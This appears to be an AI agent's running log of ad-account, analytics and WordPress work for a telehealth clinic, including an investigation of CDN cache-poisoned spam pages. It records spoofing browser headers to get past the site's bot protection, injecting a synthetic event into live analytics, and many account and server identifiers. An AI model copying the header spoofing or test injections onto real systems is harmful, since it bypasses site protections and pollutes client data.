2026-09-02 WP ENGINE TICKET PREPARED — I CANNOT SUBMIT IT. my.wpengine.com redirects to identity.wpengine.com sign-in (not logged in in David's Chrome), and entering credentials into a login form is off-limits for me regardless. We hold SSH + SFTP only; there are NO WPE portal/API credentials anywhere in ~/.mgi or ~/.config — SSH access does NOT imply support-portal access. DELIVERED INSTEAD, ready to paste in ~60s: clients/mgi/incidents/WPENGINE-TICKET.md (full ticket body) + MGI-cdn-poisoning-evidence.zip (31KB: poisoned HTML, its headers, cached-SPAM headers, cachebusted-CLEAN headers, README). Ticket identity fields captured for them: install mgiclinic, server shell-403576-mgiclinic-130ea6f9ea10. Ticket is written to survive first-line deflection — it pre-empts "it's your site" by ruling out compromise (DB clean, 0 komeri rows, no modified PHP), JS injection (same URL differs by cache state), DNS (both hosts → 141.193.213.10/.11), and domain-specificity (both domains hit); states that wp cdn-cache flush fixes it while wp page-cache flush does NOT; includes the 4-incident log, the $390/day medical-practice business impact, and 3 explicit asks (why another tenant's response is keyed to our URLs / whether OUR content leaked onto other customers' domains / an edge fix rather than a purge). Ads remain LIVE $390/day with the 5-URL 30s watchdog (b897k1yzz).
2026-09-02 WATCHDOG v4 — ALL 5 LIVE LANDING PAGES, EVERY 30s (task b897k1yzz). Destination list pulled from the API (enabled campaigns + enabled ads), not assumed: /fix-ibd-naturally/ (5 campaigns), /crohns-disease/ (2), /ulcerative-colitis/ (2), / (Brand Capture), /discovery/ (Retargeting RDA) — 5 distinct URLs, all www.mgiclinic.com. DESIGN FIXES over v3: (a) all 5 probed in PARALLEL (for U in ...; do probe & done; wait) — measured full sweep <1s, so 30s cadence is real not aspirational; (b) PER-URL cooldown via /tmp/mgi_watch_state/cd<slug> — v3's global sleep 180 meant one poisoned page BLINDED the watch on the other four; (c) per-URL consecutive-failure counters for unreachability; (d) auto-captures HTML+headers to /tmp/mgi_evidence/POISONED-<ts><slug>.html BEFORE alerting. VERIFIED BOTH DIRECTIONS before arming: pattern DETECTS the known-poisoned capture (123 matching lines, title extracted correctly) and stays SILENT on the live clean LP (289,511 bytes). BASH-ONLY TRAP: the detection pattern contains Japanese characters (アウター) — zsh throws "character not in range" on it, bash handles it fine. Script is #!/bin/bash and must be invoked via bash <script>; never inline it in the zsh shell. Detection pattern widened to include the spam's asset CDNs (yimg.jp, mercdn.net, r10s.jp) not just komeri/LUVISTRUE.
2026-09-02 🔬 SPAM ROOT CAUSE PROVEN — IT IS NOT JAVASCRIPT, NOT WORDPRESS, NOT OURS. David asked for proof + to hunt the JS library. THE JS HYPOTHESIS IS RULED OUT BY A CONTROLLED TEST: same URL, seconds apart — /about/?cb=<ts> → x-cache MISS, 290,776 bytes, title "About", 0 markers (CLEAN); /about/ → x-cache HIT:1, cf-cache HIT, 200,529 bytes, title "周辺機器 24インチモニター HP E24i G4", 94 markers (SPAM). The spam arrives IN THE HTML BODY FROM THE SERVER — no client-side code can make the same URL differ by cache state. Do not spend time hunting a script; there isn't one. DB re-confirmed clean: wp_posts 388 (/about/) holds the real FAQ content; DB-wide komeri count = 0 in posts AND options. KEY NEW DETAIL — it is NOT a static foreign cache object: the spam body templates OUR hostname into the branding, <title> context and canonical ("MIND-GUT-IMMUNITY.COM 創業祭", canonical=https://www.mind-gut-immunity.com/about), so the response was RENDERED AGAINST OUR HOST HEADER by komeri's app/template, then cached under our URL key. Response carries X-Powered-By: WP Engine + X-Cache: HIT: 1 = WPE's OWN page cache served it. Spam assets load from komeri.com, auctions.c.yimg.jp (Yahoo Auctions JP), static.mercdn.net (Mercari), tshop.r10s.jp (Rakuten), criteo. EVIDENCE PACK COMMITTED TO REPO: clients/mgi/incidents/ — full poisoned HTML (200KB), its headers, the CLEAN cache-busted headers, the SPAM cached headers, and README.md with the incident log + what each artifact rules out. This is the WP Engine ticket in a box. Screenshot captured (Japanese HP monitor product page, ¥10,800, MGI hostname as the store brand). ACTIONS: purged, swept 12 mgiclinic URLs ALL CLEAN, relaunched 9 campaigns $390/day, watchdog v3 (bjv3vyt0h) = 30-SECOND cycle, mgiclinic.com ONLY, primary LP every pass + 4-URL rotation, and it now AUTO-CAPTURES the poisoned HTML+headers to /tmp/mgi_evidence/POISONED-<ts>.html before alerting (previous versions alerted but I purged before preserving evidence — that mistake is fixed).
2026-09-02 ⚠️⚠️⚠️ SPAM HIT mgiclinic.com — MY "SAFE DOMAIN" ASSUMPTION WAS WRONG. 3rd incident. Hours after relaunching all ads onto mgiclinic.com specifically to escape the poisoning, the watchdog caught 94 spam markers on www.mgiclinic.com/crohns-disease/ (cf-cache HIT, age 103s) while /fix-ibd-naturally/, /ulcerative-colitis/, /discovery/ were simultaneously CLEAN. CORRECTION TO MY OWN ADVICE: the poisoning is NOT domain-specific. mgiclinic.com being clean during the Aug 28 + Aug 31 incidents was luck/timing, not immunity — it follows the WordPress INSTALL/edge, and it hits ONE ARBITRARY URL AT A TIME, not a whole hostname. Switching domains does NOT mitigate it; only the WP Engine root cause fix will. Actioned: paused all 9 campaigns, wp cdn-cache flush + page + object, verified clean across 5 mgiclinic URLs AND 2 mind-gut-immunity URLs. PATTERN NOW ESTABLISHED across 3 incidents: single URL poisoned at a time; origin/DB always clean; ONLY wp cdn-cache flush clears it; recurrence roughly every 24-72h and accelerating (Aug 28 → Aug 31 → Sep 2). This is now a hard blocker on running paid traffic at all — the site cannot be guaranteed clean for any given URL at any given moment. ESCALATION IS NO LONGER OPTIONAL. SEPARATE, UNRELATED — the GA4 "no events today" scare is NOT a tracking failure: realtime showed 20 page_views / 18 session_starts in 30 min (17 on the paid LP) and Ads showed 452 impr / 12 clicks / $16.51 landing correctly on mgiclinic.com URLs; GA4 simply had ZERO intraday rows for Sep 2 at 17:06 PDT while Sep 1 had all 24 hourly rows — a GA4 intraday PROCESSING lag, data collection fine. Standard reports lag; realtime + Ads are the truth source for same-day.
2026-09-02 ✅ RELAUNCHED ON mgiclinic.com — DUAL-DOMAIN PROBLEM RETIRED. David: "relaunch on the new ad account with the original domain mgiclinic.com, because the dual domain problem is a big issue." Kept ad account 4084278533; ONLY the destination changed. EXECUTED: repointed 27 ads (ads:mutate, updateMask final_urls) + 1 PMax asset group (assetGroups:mutate) from mind-gut-immunity.com → www.mgiclinic.com; verified ZERO references to the old domain remain. Destination spread now: /fix-ibd-naturally/ 14 ads, /crohns-disease/ 6, /ulcerative-colitis/ 5, / 1, /discovery/ 1 (retargeting RDA). No sitelink/campaign assets carried the old domain. THE BIG WIN — ATTRIBUTION SHOULD NOW WORK WITHOUT ANY CALENDLY CHANGE: the Calendly redirect has always pointed at mgiclinic.com/thank-you-confirmation/, which was the ROOT of the 2-week attribution break. Now that ads land on mgiclinic.com too, the whole journey (ad → LP → /discovery/ → Calendly → thank-you) is SINGLE-DOMAIN, so the gclid cookie survives to conversion. The redirect fix that was blocked on David/Chanu for 2 weeks is now moot. SECOND WIN: both CDN spam incidents were mind-gut-immunity.com ONLY (mgiclinic.com was my clean control both times) — moving here also sidesteps that exposure. VERIFIED LIVE on mgiclinic.com: both GTM containers load, new Meta pixel 1105072425284871 present + fbq/gtag functions, Calendly bridge __mgiCalBridge ACTIVE on /discovery/ with embed_domain=www.mgiclinic.com, 5 CTAs all same-host, no spam, no noindex (the noindex was plugin-applied to the OTHER domain only). GA4 audiences verified PATH-BASED not host-bound (checked v1alpha /audiences JSON) ⇒ all 5 keep growing through the switch; retargeting pools intact at 220/160 display. 9 campaigns relaunched, $390/day live; PMax + International shell stay paused. Watchdog re-pointed at mgiclinic.com and re-armed (bcqwnolzc). STILL OPEN: banned pixel 1289579869100647 confirmed STILL firing on mgiclinic.com from GTM-N2GDXJ8 (David needs to pause that tag or grant publish); mgi-dual-domain.php mu-plugin can now be REMOVED entirely (backup .mgi-dual-domain.php.bak-20260828) — left in place for now since it's inert for mgiclinic.com traffic.
2026-08-31 ALL CAMPAIGNS OFF — DOMAIN MIGRATION DECIDED. David: "Turn off all campaigns as we are going to relaunch them under a different domain." All 11 campaigns PAUSED, account at $0/day (spent $196.92 / 128 clicks today before shutoff). Spam watchdog STOPPED (bwk0fy165) — its only job was protecting paid traffic; re-arm against the NEW domain at relaunch. RELAUNCH CHECKLIST — what is bound to mind-gut-immunity.com and must be rebuilt/repointed on the new domain: (1) ad FINAL URLs — 4 destinations across 16 ad groups: /fix-ibd-naturally/ (75% of spend), /crohns-disease/, /ulcerative-colitis/, / ; (2) GTM container GTM-NBQBWTR8 is installed on the WP site and its v6/v7/v8 work is domain-agnostic BUT the mu-plugin mgi-dual-domain.php hardcodes the alt-host array + the v3 www-canonicalisation to mind-gut-immunity.com — MUST be edited or removed for a new host; (3) the Calendly postMessage bridge fires on /discovery/ path (path-based, survives a domain change) but the Ads conversion 7736374788 + date/time 7736219435 are account-level and fine; (4) GA4 property 318014139 has ONE data stream whose defaultUri is mgiclinic.com — add/repoint for the new domain or hostname reporting fragments further; (5) ALL 8 remarketing audiences are URL-rule-based on the old host — they stop growing at cutover and the retargeting campaign's 2 usable pools (210/160) reset toward zero; (6) Meta pixel 1105072425284871 is installed via the WP plugin, so it follows the WordPress install, not the domain; (7) the Calendly redirect (still pointing at mgiclinic.com) SHOULD BE SET TO THE NEW DOMAIN'S thank-you URL at cutover — this finally resolves the attribution break if done as part of the migration; (8) WordPress siteurl/home = https://www.mgiclinic.com — the new domain will hit the SAME dual-domain problem unless the install's canonical is properly migrated. Also unresolved and now largely moot for paid: the WP Engine CDN cross-tenant poisoning (2 incidents) — still worth their ticket since organic traffic remains exposed.
2026-08-31 ⚠️⚠️ SPAM RECURRED — 2ND OCCURRENCE IN 3 DAYS. ADS LEFT PAUSED PENDING DAVID'S DECISION. Watchdog (btl4afsut) caught it: 130 spam markers, 0 real content, on /fix-ibd-naturally/ — the exact page 75% of ad budget points at. cf-cache: HIT, age 28s = freshly poisoned. /discovery/ and all of mgiclinic.com were clean, same as Aug 28 — it is specifically the paid LP on mind-gut-immunity.com. Source site identified as komeri.com (Japanese home-improvement retailer). SEQUENCE RUN: verify (curl w/ full browser UA) → paused all 9 campaigns → wp cdn-cache flush + page-cache + object-cache → verified clean x4 (spam=0, real content, 292KB, cf MISS→HIT). Fix time ~3 min. DECISION CHANGED FROM AUG 28: I restored ads last time after verifying clean; this time I am LEAVING THEM PAUSED. Recurrence proves the root cause is live and outside our control — the expected value of "paid patients land on Japanese spam" now outweighs the cost of dark campaigns, and resuming is a business-risk call that is DAVID'S to make, not mine. Exposure this time was small (age 28s at detection, watchdog polls ~4min). ESCALATION EVIDENCE FOR WP ENGINE: two incidents (Aug 28 ~15:40 PT, Aug 31), both on the same URL, both cleared ONLY by wp cdn-cache flush (page-cache flush alone does NOT clear it), origin/DB/files/DNS verified clean both times, other domain on the SAME WordPress install unaffected ⇒ their edge is serving another tenant's cached object on this hostname. Watchdog remains armed.
2026-08-31 KEYWORD → LANDING PAGE MAP (David: "map them for me"). Only 4 destinations for the whole account: /fix-ibd-naturally/ $2,871 = 75% of spend (all treatment + symptom + gut-language ad groups), /crohns-disease/ $686 = 18% (Crohn's doctor/specialist + near-me), /ulcerative-colitis/ $242 = 6% (UC doctor/specialist + near-me), / homepage $12 (brand). 75% of budget lands on the site's WEAKEST page (21s engaged / 67% bounce). INTENT SPLIT computed from ACTUAL search terms (not the bid keyword): informational $846 = 44.5% / treatment $820 = 43.1% / specialist $236 = only 12.4% — the single biggest query in the account is the bare word "colitis", then "colitis symptoms" then "what is colitis"; they hit a program pitch and leave. NO page exists for informational intent even though the best-engaging pages already do (coaching 74s, probiotics guides 80s) — nothing routes there. Top spenders: colon inflammation $458/376clk (info), crohn's doctors $388/132clk (specialist, good), inflamed large intestine treatment $234, treatment for intestinal inflammation $225, chronic digestive problems $206, inflamed intestines $180, ulcerative colitis treatment $127, gut specialist $145. NEAR-ME terms = $116 → condition pages; for a TELEHEALTH practice these are the ideal searchers but the LP never says the consult is remote. LEAKAGE FOUND: "diverticulitis treatment" $41 + "how to relieve diverticulitis pain fast" $8 pulled in by broad inflammation-treatment keywords — needs a negative if MGI doesn't treat it (ASK CHANU). VERIFIED CLEAN: the 21 legacy keywords WERE correctly paused in their original campaigns when Proven Winners took them (7 Crohn's / 7 Intestinal Inflammation / 3 Treatment Seekers / 4 UC) — the $0 Proven ad groups (Crohn's Doctor, UC Doctor) are genuine low search volume, NOT self-competition. GAQL trap: segments.keyword.info.text is absent on some search_term_view rows — guard with .get(). Artifact: https://claude.ai/code/artifact/0b31cf6a-daa4-4226-8e27-706065cc1ab1
2026-08-30 REV2 — ⚠️ CORE PREMISE CORRECTED BY DAVID: MGI CONSULTS ARE ONLINE, PATIENTS CAN BOOK FROM ANYWHERE. I had reasoned "Las Vegas = the clinic's city = probably staff" and discounted 2 bookings to a "2-4 real" range. That geographic reasoning is invalid for a telehealth practice — redid the whole analysis on behavioral evidence. RESULT: all 4 Calendly bookings are REAL, each with a complete widget trail (opened→select_day→select_time→meeting_scheduled): Aug18 8am Las Vegas, Aug18 1pm Tampa, Aug24 Toronto (came from youtube.com, landed /psoriasis/), Aug27 Las Vegas. My own test event was Aug18 10am — a different hour and a different person from the 8am booking. BIGGEST NEW FINDING — POSITIONING/GEO MISMATCH: the site is an online practice dressed as a Las Vegas clinic. 99 published pages built on las-vegas/henderson/summerlin; and the ad LP (/fix-ibd-naturally/), the BOOKING page (/discovery/), and both condition pages contain ZERO occurrences of "online" or "virtual". Nothing tells a foreign visitor they can be seen. THE COST: UK = $839 = 22% of all spend → 475 paid sessions → only 2 calendar opens (0.42%) → 0 bookings, vs US 4.11% and Canada 1.46% — UK is ~10x worse and it is NOT disengagement (UK LP time 37s BEATS the 21s site average, session 99s vs US 115s). They read it and conclude it isn't for them. US $1,862→3 bookings (~$621 ea), Canada $602→1 (~$602), UK $839→0. UNSERVED GLOBAL DEMAND: India is the MOST engaged country on the site (153s/session, 44% engagement, 1.34 pages — beats the US) with 3 people selecting appointment times; Ghana/Trinidad/Denmark/UAE/Jordan/Bangladesh also went deep. US+CA convert 4 of 16 time-pickers (25%); rest-of-world 0 of 8. ALSO CORRECTED MY OWN BOT CLAIM: South Asia is NOT click-farm traffic — Bangladesh 83s, Pakistan 66s, Nepal 78s, India 153s = humans. The REAL automated signature is Singapore (6s across 618 sessions, 0.8 pages/session), Cambodia 16s, Japan 16s. Never infer bots from country; use session duration + pages/session. Unfiltered funnel: 8,496 users → 152 opened calendar → 32 picked day → 24 picked time → 4 booked (83% quit at the $50 payment screen; 79% quit before picking a date = check timezone rendering of availability). Phantom-booking finding UNCHANGED (thank-you page shared with other forms; North Auburn 4 thank-you / 0 Calendly). GA4 hour dimension is in the PROPERTY timezone (America/Los_Angeles), NOT visitor-local — don't read it as local time. Artifact rev2 (same URL): https://claude.ai/code/artifact/ce245512-307a-4109-968d-2e3cf14f4d24
2026-08-30 ⚠️ THE BOOKING COUNT WAS WRONG — booking_confirmed IS NOT A BOOKING METRIC. David asked for a journey analysis; the reconciliation broke the headline number instead. booking_confirmed fires on ARRIVAL AT /thank-you-confirmation/, and that page is SHARED with the site's other forms (Contact Form 7 / brochure request), so form submissions + reloads + direct navigation all count as booked calls. Cross-check method that proved it: compare booking_confirmed against Calendly's OWN invitee_meeting_scheduled (fires inside the widget, cannot be page-triggered), split by city. RESULT Aug 18-30: thank-you 9 vs Calendly 4. North Auburn CA fired 4 booking_confirmed with ZERO Calendly events of any kind (never opened the calendar) — it's a real, deeply engaged researcher (19 sessions / 45 views / 370s avg / video completions / 2 form_submits, read coaching x10 + discovery x7) who never booked. Merida + Charlotte likewise phantom. Tampa is the inverse: real Calendly booking with NO booking_confirmed (never hit the thank-you page) — the metric over- AND under-counts simultaneously. 2 of the 4 real ones are Las Vegas = the clinic's own city (one on Aug 18, my testing day) ⇒ defensible genuine-patient range = 2-4, i.e. $925-$1,850 per booked $50 call. CLIENT BOARD CORRECTED same session (9 → 4 + a visible "Correction, Aug 30" note) — I had shipped the 9 the day before. REAL IN-TARGET FUNNEL (US/UK/CA/UAE/SA only): 8,496 users → 44 opened calendar → 20 picked a day (−55%) → 17 picked a time (−15%) → 4 booked (−76%). THE CLIFF IS CHECKOUT, NOT PERSUASION — 13 of 17 who chose a specific slot quit at the $50 payment screen. Second cliff: 55% open the calendar and never pick a date (availability/timezone suspect). BOT CONTAMINATION measured by geo: 55% of raw calendar-opens were Pakistan/Bangladesh/Nepal/India (PMax bot legacy), decaying to 0% at booking — ALWAYS filter funnel analysis to target geos or the shape lies. LP DIAGNOSIS: /fix-ibd-naturally/ = 21s avg engaged / 67% bounce — the WORST page on the site, vs coaching page 74s/27% and psoriasis guide 80s; only 22% scroll to 90%; 26 of 95 video-starters finish. Bookers: 3 of 4 desktop Mac Chrome (1 Android) though 119 of 152 calendar-opens are mobile; booked 8am/9am/1pm/4pm local (no evenings); half were returning visitors vs ~10% funnel-wide — nobody books on first visit. DATA CEILING: GA4 Data API is aggregate-only, so time-between-actions + true per-user sequences are NOT answerable. BigQuery export EXISTS (project 140613069314, dataset analytics_318014139, daily since 2024-05-18) but I get 403 — REQUEST READ ACCESS, it's the single highest-value unlock. GA4 never collects postal codes at any tier (city is the floor, and it's IP-inferred). Deliverable: artifact "MGI Booking Forensics" https://claude.ai/code/artifact/ce245512-307a-4109-968d-2e3cf14f4d24
2026-08-30 LAUNCH BOARD FULLY REWRITTEN + DEPLOYED (mgi-clinic-launch-board.netlify.app, clients/mgi/hub/index.html, deploy via clients/mgi/deploy.sh → netlify site f8fc601b-5970-4fac-8cf1-0d4fc805d7f2; backup at index.html.bak-20260830). Restructured from the old two-column "his side / our side" into 6 sections: Where things stand (live stat tiles) → Needs Dr. Dasari (surfaced to the TOP) → Live right now → Measurement & tracking → What happens next (numbered 1-8) → Reference. Added --live/--alert design tokens + .stats grid to the existing system. All 6 subpaths verified 200 (/, performance, media-plan, lp-plan, audit, pmax-creatives); no horizontal overflow. LAUNCH-TO-DATE NUMBERS ON THE BOARD (Aug 18-30, pulled live): SEARCH-ONLY 51,675 impr / 2,285 clicks / $3,697.20 / CPC $1.62 — deliberately quoted search-only because blended CPC ($0.36) is a mirage created by the PMax bot episode (8,158 clicks @ $0.007 = $58.99, shown separately for contrast). GA4 since launch: invitee_event_type_page 415, discovery_call_click 60, booking_confirmed 9 (8 on mgiclinic.com vs 1 on mind-gut-immunity.com), invitee_meeting_scheduled 4, cal_date_time_selected 3. Ads conv still 0.0. Board's 4 CLIENT ASKS, in priority order: (1) fix Calendly redirect URL, (2) open WP Engine ticket re the CDN cross-tenant spam, (3) grant GTM publish on GTM-N2GDXJ8 to kill the banned pixel, (4) Calendly API key + Kajabi. Client-facing copy avoids jargon (no "gclid"/"cache poisoning"/"Smart Bidding") and states the attribution gap plainly rather than burying it.
2026-08-28 RETARGETING LAUNCHED (David: target only the 210 + 160 lists). Campaign Retargeting — Display Warm Pools id 24158743815, ad group Warm Pools 199128949429, $15/day, TARGET_SPEND, now ENABLED / ELIGIBLE. Was blocked by TWO things: (1) zero ads in it — built the first RDA; (2) 4 of 6 targeted lists had 0-8 display users. AUDIENCES pruned to exactly the two David named: GA4 — Discovery page viewers (210 display) + GA4 — Calendly widget viewers (160); removed Site—High-intent/Site—Discovery/YT—Viewed-any-video (all 0) and GA4—CTA clickers (8). DELIBERATELY NOT USED: 'All visitors (AdWords)' (2,600 display) — it filled with the Aug 22-23 PMax bot flood, retargeting it = paying to chase click farms. SAFETY CATCH: campaign had NO targeting_setting at all; on Display that risks serving the whole network. Explicitly set AUDIENCE targetRestrictions bidOnly=FALSE (TARGETING) via updateMask targeting_setting.target_restrictions before enabling. CREATIVE: assets built locally from the legacy IBD PMax bank at clients/mgi/hub/pmax-creatives/img/ — screened each one; REJECTED img-13 ("I REVERSED ULCERATIVE COLITIS IN 6 WEEKS") — banned word + medical-outcome claim that would fail Google health policy. Used img-00 (Dasari credentials, clean) + img-05 (lifestyle) as 1200x628, img-03 + img-09 as 1200x1200. LOGO: no brand logo existed in the repo and uploads only held Harvard/Oxford/UC/Vanderbilt badges (never usable — trademark rule) + a favicon upscaled from 32x32. Found the real wordmark at uploads/2024/12/6260a569482bfbca23b16203_MGI-Logo-left-color-p-500.png (500x128) and generated BOTH RDA logos from it with PIL: square 1200x1200 (auto-detected the shield mark by scanning for the first >=8px alpha gap, then centred on white with 14% padding) + landscape 1200x300. 6 image assets uploaded (ids in /tmp/mgi_asset_ids.json pattern; square logo 414797207921). COPY IS DELIBERATELY CONDITION-NEUTRAL — Google's personalized-advertising policy restricts remarketing that implies knowledge of a health condition, so no IBD/colitis/Crohn's wording: headlines "Finish Booking Your Call"/"Dr. Dasari, MD"/"10,000+ Patients Helped"/"Pick a Time That Works"/"Your Consultation Awaits"; long headline "Pick up where you left off and book your call with Dr. Dasari, MD"; 4 descriptions; business name "Mind Gut Immunity"; CTA "Book now"; final URL /discovery/. No cure/fix/heal/reverse/guarantee. Ad policy status pending review at launch — CHECK APPROVAL in ~24h; health verticals get disapproved often.
2026-08-28 NEW META PIXEL DEPLOYED + ⚠️ CDN SPAM-POISONING INCIDENT. Old pixel 1289579869100647 is BANNED by Meta (David); new Dataset 1105072425284871 + never-expiring SYSTEM_USER CAPI token stored in ~/.mgi/mgi.env (chmod 600) as MGI_META_PIXEL_ID / MGI_META_CAPI_TOKEN, banned id kept as MGI_META_PIXEL_ID_BANNED. Token scope quirk: debug_token shows ONLY read_ads_dataset_quality, and GET /{dataset} returns "(#100) Missing Permission" — but POST /{dataset}/events WORKS (probe failed only on 2804050 "insufficient customer information", i.e. content validation, which is an auth PASS). Do not conclude CAPI is broken from the failed GET. DEPLOYMENT: NOT via GTM — used the already-active official-facebook-pixel v4.1.4 (Facebook for WordPress) plugin, which does browser pixel + CAPI server-side with automatic event_id dedup. Config lives in ONE serialized option facebook_business_extension_config (keys facebook_pixel_id, facebook_access_token, facebook_external_business_id, facebook_is_fbe_installed); facebook_capi_integration_status was already 1. Set it by piping JSON over ssh into wp option update ... --format=json (token never hits the remote process list). Verified at runtime: FacebookWordpressOptions::get_pixel_id() = new id, token_len 201; live page shows fbq loaded + new id present. OPEN — DAVID MUST DO: the banned pixel still fires from a Custom HTML tag "MGI Clinic - Facebook Pixel" in the OLD container GTM-N2GDXJ8 (acct 6055820845 / container 92852635). I am READ-ONLY there (workspace create + tag PUT both 404 "permission denied"), so he must pause that tag or grant Publish.
⚠️ SAME SESSION — LIVE SITE SERVED JAPANESE SEO SPAM. After wp page-cache flush, www.mind-gut-immunity.com/fix-ibd-naturally/ began serving a Japanese e-commerce spam page (LUVISTRUE/アウター, trackers dmp.im-apps.net + cs.nakanohito.jp, ~192KB) with the MGI host name substituted into its branding. Confirmed in BOTH the Claude pane and David's real Chrome = real, not an artifact. DIAGNOSIS (all clean, ruling out a hack): wp_options + wp_posts contain zero spam (page 8065 has correct "Doctors get this WRONG!" content); only PHP file modified in 7 days was my own mgi-dual-domain.php; cron clean; DNS correct (GoDaddy NS → wp.wpenginepowered.com, 141.193.213.10/11, same as mgiclinic). DECISIVE SPLIT: www.mgiclinic.com served CORRECT content while www.mind-gut-immunity.com served spam — and headers showed server: cloudflare, cf-cache-status: HIT, age: 494 on mind-gut-immunity.com only, with x-cache: MISS (WPE origin) ⇒ poisoned object in the CDN/Cloudflare edge, origin fine (cache-busted URL ?cb= always rendered clean). FIX: wp cdn-cache flush — wp page-cache flush ALONE DOES NOT CLEAR IT. Verified clean x3 after purge (cf-cache MISS→HIT, 292KB, spam=0). ACTIONS: paused all 8 search campaigns during the incident, then restored all 8 to ENABLED once verified clean; armed persistent spam watchdog (checks 3 LPs every ~4 min, alerts on LUVISTRUE/アウター/im-apps/nakanohito). ROOT CAUSE UNKNOWN AND COULD RECUR — David should open a WP Engine P1: their edge served another tenant's content on his domain. TRAP: curl gets 403 from this site (bot protection) unless a full browser UA + Accept headers are sent — redirect/content testing needs a real browser or a fully-headered curl.
2026-08-28 DELIVERY RECOVERED after the Max Clicks revert: 138 impr / 9 clicks / $13.58 within ~90 min (first impression 6 min after the revert). Blackout total ≈21h. WWW CANONICALISATION SHIPPED. Scale check first (I had overstated it): non-www mind-gut-immunity.com = only 41 sessions/28d vs 5,629 on www = 0.7%, almost all Direct. Root cause was BY DESIGN: mu-plugin mgi-dual-domain.php (mine, Aug 17, at ~/sites/mgiclinic/wp-content/mu-plugins/) lists BOTH bare and www as alt hosts, makes home/siteurl echo the REQUEST host, and remove_action('template_redirect','redirect_canonical') — deliberately so the ad journey never hops domains and the gclid cookie survives. FIX = v3 block inserted at the top of that plugin: exact-match $mgi_host === 'mind-gut-immunity.com' → 301 to https://www.mind-gut-immunity.com.$REQUEST_URI, guarded on PHP_SAPI!=='cli', !is_admin(), not AJAX/CRON, !headers_sent(). No loop possible (target can't re-match). Backup at .mgi-dual-domain.php.bak-20260828; php -l clean; verified live: bare→www redirects w/ page intact, www LP unbroken (5 CTAs), www.mgiclinic.com untouched. MAJOR CONTEXT FOUND: WordPress siteurl/home = https://www.mgiclinic.com — the OLD domain is the install's canonical identity (install name mgiclinic), which is WHY Calendly/plugins default to mgiclinic.com. Changing siteurl is a big risky migration — NOT done, flag for David. SSH TRAPS: WPE remote shell strips outer quotes → use ssh ... 'bash -s' <<'REMOTE'; the live site 403s curl/non-browser UAs so redirect testing MUST be done in a real browser. Active plugins incl. redirection + wordpress-seo (its site-level canonical/alias features would redirect mind-gut-immunity.com → mgiclinic.com = would kill the paid domain; DO NOT use them for this). 2026-08-28 ⚠️ MAX-CONVERSIONS SWITCH BLACKED OUT THE ACCOUNT — REVERTED. MY ERROR. Switched 8 campaigns to MAXIMIZE_CONVERSIONS Aug 27 10:42-10:43 PDT (change_event confirms, GOOGLE_ADS_API). Last hour with ANY impression = hour 10 that same morning. Then 21+ hours of ZERO: 0 impr / 0 clicks / $0 on Aug 28. CAUSE: I bound bidding to custom goal 6458863875 whose BOTH conversion actions (7736219435 date/time, 7736374788 on-domain booking) were created hours earlier and have ZERO conversion history — 30d history shows only Discovery Page View 282, Discovery Call Button Click 4, YT 2/17, and NEITHER new action at all. Smart Bidding with a zero-history goal has no CPA reference, computes no bid, and stops entering auctions entirely. Learning-phase noise was the risk I flagged; total delivery collapse was the one I missed. FIX APPLIED: all 8 reverted to TARGET_SPEND (Max Clicks) w/ cpc_bid_ceiling $3.00 (matched from never-switched campaign 'International — Proven Winners'; Retargeting uses $1.50). Revert mask = target_spend.cpc_bid_ceiling_micros. Goal binding LEFT IN PLACE (Max Clicks ignores goals for bidding, but the goal defines the counted-Conversions column so cal_date_time_selected history accumulates for a later switch). HARD RULE LEARNED: NEVER point Smart Bidding at a conversion goal with no conversion history — the account goes dark, not just noisy. Sequence must be: ship tracking → accumulate ≥30 conv/30d ON THE NEW ACTION → then switch bidding. Delivery watcher armed (bhno1tn6t). ALSO: Aug 27 booking again on www.mgiclinic.com (channel Cross-network) = redirect STILL not flipped, 7 bookings now on the old domain. GOOD NEWS: discovery_call_click 11 on Aug 27 vs 2-5/day before = the v6 CTA trigger fix is measurably working. Brand Capture shows HAS_ADS_LIMITED_BY_POLICY (separate open item). 2026-08-27 SMART BIDDING SWITCHED ON (David: "Build the conversion action and optimize for cal_date_time_selected for all the campaigns"). David's OWN real test confirmed the bridge first: 2x cal_date_time_selected in the last-5-min realtime window WITH Calendly's own invitee_select_day/_time alongside = bridge processes GENUINE Calendly postMessages (my synthetic had aged out). BUILT: (1) conversion action 7736219435 "Discovery — Date & Time Selected" (WEBPAGE, SUBMIT_LEAD_FORM, ONE_PER_CLICK — David's test fired 2x in one session, so per-click counting prevents inflation; $0 value to keep revenue clean; 30d lookback; label lJ0GCKuu9egcEMCH2rxE); (2) GTM awct tag on the Calendly date/time trigger, v8 published, all 5 markers verified in the served container; (3) NEW custom goal 6458863875 "Calendly intent (date/time + on-domain booking)" = actions 7736219435 + 7736374788, bound to all 11 campaigns — deliberately EXCLUDES legacy TY action 7716477302 because once David fixes the redirect BOTH it and the Calendly bridge fire per booking = 2 conversions for 1 booking; old goal 6458736528 now 0 campaigns; (4) all 8 enabled SEARCH campaigns TARGET_SPEND → MAXIMIZE_CONVERSIONS, tCPA=none (per the never-tCPA rule), $375/day unchanged. API TRAP: REST rejects updateMask "maximize_conversions" with FIELD_HAS_SUBFIELDS on the empty message — use {"maximizeConversions":{"targetCpaMicros":"0"}} + updateMask maximize_conversions.target_cpa_micros; 0 = no target (verified tCPA reads back none). Rationale for bidding on the mid-funnel event: bookings ~2-3/wk = far below Smart Bidding's ~30/mo; date/time-selected ~29/wk clears it. WATCH: all 8 entered learning simultaneously (David directed all-at-once) — expect 1-2wk noisy; per-campaign volume ~3-4/wk is thin, so consolidation may be needed if learning stalls. 2026-08-27 BRIDGE QA PASSED (David: "confirm selecting a date and time, QA that, see if GA4 events come in"). Calendly refuses to render under ANY browser automation — blank in Claude pane AND in David's real Chrome, and calendly.com/mgiclinic/dasarimd itself renders an EMPTY React root (bodyTextLen=0) with recaptcha.net + js.stripe.com loaded = BOT DETECTION, not a site fault. Proof it's fine for humans: GA4 realtime showed invitee_event_type_page x4 from real visitors DURING the QA. So QA'd the bridge synthetically instead: window.dispatchEvent(new MessageEvent('message',{data:{event:'calendly.date_and_time_selected'},origin:'https://calendly.com'})) — MessageEvent constructor CAN set origin, so the origin check is exercised for real. RESULT: dataLayer got cal_date_time_selected → GA4 realtime CONFIRMED x1 on first poll. NEGATIVE tests all correctly rejected (wrong origin evil.example.com / unmapped calendly event / non-object data → zero pushes). Deliberately did NOT test cal_event_scheduled — it carries the Ads conversion tag and would book a fake $50 conversion. Unproven link remains only: whether Calendly emits that exact event name (documented + stable). 1 test cal_date_time_selected event in GA4 data. 2026-08-27 CTA TAG FIX + CALENDLY BRIDGE SHIPPED (David: "add additional tags so it catches all the buttons, so we can 